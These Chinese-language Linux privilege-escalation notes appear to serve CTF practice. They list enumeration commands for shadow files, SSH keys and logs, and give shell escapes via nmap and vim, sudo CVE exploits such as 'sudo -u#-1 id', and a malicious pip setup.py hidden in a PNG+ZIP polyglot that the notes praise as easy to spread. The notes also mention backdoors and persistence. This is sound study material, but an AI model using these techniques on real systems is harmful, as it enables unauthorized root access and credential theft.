linux提权笔记

简述

无法执行root 权限下的一下命令或者读取/root 下的重要文件。这个时候就需要提权,在root 权限下,还可以通过msfvenom生成其他后门文件或者一些隐藏后门。添加用户,开启其他端口等操作,达到权限持续控制。

boot2root 是提权种类的一种,本质还是与 Linux 的提权有关系。

Linux 提权主要是通过下面的方式:

  • 收集 —— 将尽可能多的信息穷举出来
  • 处理 —— 将信息分类,确定信息的有效性,按照其权重来排序
  • 搜索 —— 擅用搜索引擎,发现、查找、利用漏洞代码
  • 调整 —— 利用现有的信息,调整漏洞利用代码(不同的操作系统可能有不同的利用)
  • 尝试 —— 通过大量的尝试来寻找正确答案

信息收集

操作系统

1
2
3
4
5
6
7
8
9
10
11
12
13
uname -a    				# 打印所有可用的系统信息
uname -r # 内核版本
uname -n # 系统主机名。
uname -m # 查看系统内核架构(64位/32位)
uname -mrs # 查看系统内核架构(64位/32位)
hostname # 系统主机名
cat /proc/version # 内核信息
cat /etc/*-release # 分发信息
cat /etc/issue # 分发信息
cat /proc/cpuinfo # CPU信息
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based
ls /boot | grep vmlinuz- # 内核版本

环境变量

1
2
3
4
5
6
7
8
9
10
11
12
env        					# 显示环境变量
set # 现实环境变量
echo %PATH # 路径信息
history # 显示当前用户的历史命令记录
pwd # 输出工作目录
cat /etc/profile # 显示默认系统变量
cat /etc/shells # 显示可用的shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
cat /proc/??/environ # ??表示两个符号

打印机服务

1
lpstat -a

用户和群组

1
2
3
4
5
6
7
8
9
10
11
cat /etc/passwd     		# 列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group # 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # 列出所有的超级用户账户
whoami # 查看当前用户
w # 谁目前已登录,他们正在做什么
last # 最后登录用户的列表
lastlog # 所有用户上次登录的信息
lastlog –u %username% # 有关指定用户上次登录的信息
lastlog |grep -v "Never" # 以前登录用户的完整信息

用户权限信息

1
2
3
4
whoami        当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作

进程和服务

1
2
3
4
ps aux
ps -ef
top
cat /etc/services

查看以 root 运行的进程

1
2
ps aux | grep root
ps -ef | grep root

查看安装的软件

1
2
3
4
ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l

服务/插件

检查有没有不安全的服务配置,和一些有漏洞的插件。

1
2
3
4
5
6
7
8
9
10
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

计划任务

1
2
3
4
5
6
7
8
9
10
11
12
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

有无明文存放用户密码

1
2
3
4
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

比如说可能使用邮件明文传输密码;

又或者说 MySQL 中明文存放用户密码。

有无 ssh 私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

查看与当前机器通信的其他用户或者主机

1
2
3
4
5
6
7
8
9
10
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

日志文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /var/run/utmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

敏感文件

1
2
3
4
5
6
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
ls -ahlR /root/
ls -ahlR /home/

特殊的数据库、配置文件

1
2
3
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

交互式shell

1
2
3
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

查看安装过的工具

1
2
3
4
find / -name perl*
find / -name python*
find / -name gcc*
...

通讯与网络

系统有哪些 NIC?它是否连接到另一个网络?

1
/sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network 

网络配置设置是什么?你能从这个网络中找到什么?DHCP服务器?域名服务器?网关?

1
cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname 

还有哪些其他用户和主机正在与系统通信?

1
lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w 

缓存了什么?IP 和/或 MAC 地址

1
arp -e route /sbin/route -nee 

数据包嗅探可能吗?能看到什么?

1
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

可提权SUID && GUID

参考资料https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

1
2
3
4
5
6
7
8
9
find / -perm -1000 -type d 2>/dev/null   # Sticky bit
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000)
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000)

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # 查找 /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin 或者是 *bin 是否存在 SGID or SUID (快速搜查方式)

# 从 root (/) 开始查找是否存在 SGID or SUID, not Symbolic links, 文件夹深度为 3(可以更改), 并列出错误信息 (例如 permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

查看可写/执行目录

1
2
3
4
5
6
7
find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders

proc 目录

Linux 系统上的 /proc 目录是一种文件系统,即 proc 文件系统。与其它常见的文件系统不同的是,/proc 是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。

但需要注意,部分内容需要权限才可以读取。

1
2
3
4
5
6
/proc/self/cmdline		# 启动当前进程的完整命令
/proc/self/cwd # 指向当前进程运行的工作区的符号链接
/proc/self/exe # 指向启动当前进程的可执行文件的符号链接
/proc/self/envrion # 查看进程的环境变量
/proc/self/fd/3 # 查看读取过的文件,输入输出缓冲区
/proc/self/maps # 内存映射信息

提权

SUID 提权

SUID 全称是 Set owner User ID up on execution。这是 Linux 给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是 0 号或其他 super user,同时拥有 SUID 权限,才可以提权。

在 Linux 中的权限位中通常显示为 s 或者 4000,所以无论是 s 位还是 4000 位都需要注意该程序是否可以进行利用,可以通过查找 https://gtfobins.github.io/ 来简要判断系统自带的程序是否可以用来提权。

常见的可用来提权的Linux 可执行文件有:

nmap, vim, find, bash, more, less, nano, cp

查看可以 suid 提权的可执行文件

1
find / -perm -u=s -type f 2>/dev/null

nmap

早期nmap 具有交互模式,version 2.02~5.21(5.2.0)。这里我用metasploitable2 来演示

namp -V 查看 nmap 版本信息

nmap --interactive 可以进入交互模式。

进入交互模式后即可随意使用各种需要 root 权限的命令。

5.2.0 之后,nmap 还可以通过执行脚本来提权。

1
2
3
4
5
# nse 脚本,shell.nse
os.execute('/bin/sh')
# nmap 提权
nmap --script=shell.nse
# 在某些发行版的Linux 可能会提权失败。

或者

1
2
echo 'os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell

vim

如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。

1
vim /etc/shadow

vim 运行shell

1
2
3
vim
:set shell=/bin/sh
:shell

同理,满足条件的 less 和 more 都可。

date

它从文件中读取数据,它可用于进行特权读取或在受限文件系统之外公开文件。

1
2
LFILE=file_to_read
date -f $LFILE

sudo

CVE-2023-22809

sudoedit 需要从环境变量中读取 SUDO_EDITORVISUALEDITOR,当攻击者在这些环境变量中修改为 EDITOR='nano -- /flag' 时,-- 参数将越过保护机制。

CVE-2021-3156

sudoedit 错误的转义 / 导致触发缓冲区溢出漏洞。输入命令

1
sudoedit -s /

可以测试是否存在漏洞,如果输出 usage 则无此漏洞影响。

CVE-2019-14287

如果说 /etc/sudoers 中存在额外的用户有

1
hacker ALL=(ALL,!root) /usr/bin/id

那么表示允许 hacker 账户以非 root 外身份运行 /usr/bin/id,而无法以 root 用户运行。

sudo -u 允许我们通过指定 UID 的方式执行命令,当使用命令

1
sudo -u#-1 id

则会让我们绕过权限保护运行程序。

pip

pip 在执行 install 命令时,会自动运行模块中的 setup.py 脚本。

sudo 或者 SUID 都可以。

FakePip

参考 https://github.com/0x00-0x00/FakePip 可以做一个反弹 shell,将信息反弹到 VPS 上,仅需命令

1
pip install .

linux pip

/dev/tty 可以略过标准输出,直接将信息输出到终端上。

1
2
f = open("/dev/tty", "w")
print(open("/etc/passwd").read(), file=f)

例如写一个 setup.py 如上,随后将其打包成 ZIP(这是最简单的方式)。

需要注意,压缩包内必须有一个文件夹,文件夹下才是 setup.py,即

1
2
3
- qsdztest.zip
-- qsdztest
--- setup.py

直接安装这个 ZIP 文件即可。

rce.png

参考 https://github.com/52piaoyu/linux-pip-rce,pip 会忽略图片信息,直接查找 ZIP 进行解压,然后运行其中的 setup.py,结合上一条,我们可以对 qsdztest.zip 与图片进行拼接,如

1
cat qsdz.png qsdztest.zip qsdz.png > qsdzrce.png
qsdzrce

好处是可以直接将图片上传到图床上,方便传播。

利用内核漏洞

比如说对于 Ubuntu 16.04 可以直接查找漏洞的 exp 代码。

1
searchsploit Ubuntu 16.04

将 exp 下载下来,解压,编译,运行,即可 get root 权限。

还有大名鼎鼎的CVE-2016-5195,脏牛漏洞。(Linux kernel >=2.6.22 并且Android也受影响

  • https://github.com/timwr/CVE-2016-5195
  • https://github.com/gbonacini/CVE-2016-5195
  • 复现参考:https://www.jianshu.com/p/df72d1ee1e3e

其他内核漏洞:

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – 'overlayfs' Local Root Shell

https://www.exploit-db.com/exploits/37292/

Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ Local Root Exploit

https://www.exploit-db.com/exploits/39166/

Linux Kernel 4.3.3 – 'overlayfs' Local Privilege Escalation

https://www.exploit-db.com/exploits/39230/

提示:内核exploit提权有风险,有可能会崩溃系统。

利用root无密码执行

简单来说,就是一个脚本,比如 py,sh 等或者是一个命令。这个文件可以以 root 身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容/或者直接执行这个命令,利用命令来进行一些操作,来进行提权。

比如常见的:

  • 写入一个 root 身份权限的用户进入 /etc/passwd 文件中

利用环境变量提权

PATH 是 Linux 和 Unix 操作系统中的环境变量,它指定存储可执行程序的所有 bin 和 sbin 目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有 /sbin/usr/sbin 条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

1
echo $PATH

如果你在PATH变量中看到.,则意味着登录用户可以从当前目录执行二进制文件/脚本

我们先编译一个可执行文件shell。

1
2
3
4
5
6
7
8
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("cat /etc/passwd");
}
// aaa.c

在给该文件赋予权限。

然后查看它的权限可以发现是有s 位,即suid。

现在我们在目标机器上用find / -perm -u=s -type f 2>/dev/null 来查看可以suid提权的文件,发现之前编译的shell可执行文件在里面。

更多的操作可以参考:https://xz.aliyun.com/t/2767

利用存在漏洞的命令

不可否认的是命令很多,我们不可能熟悉每一种命令的漏洞。不过我们每次遇到了都可以用searchsploit 来寻找可利用的 exp。

或者还可以使用 https://gtfobins.github.io/ 来查找漏洞。

更多

更多相关的可以查看 https://xz.aliyun.com/t/7924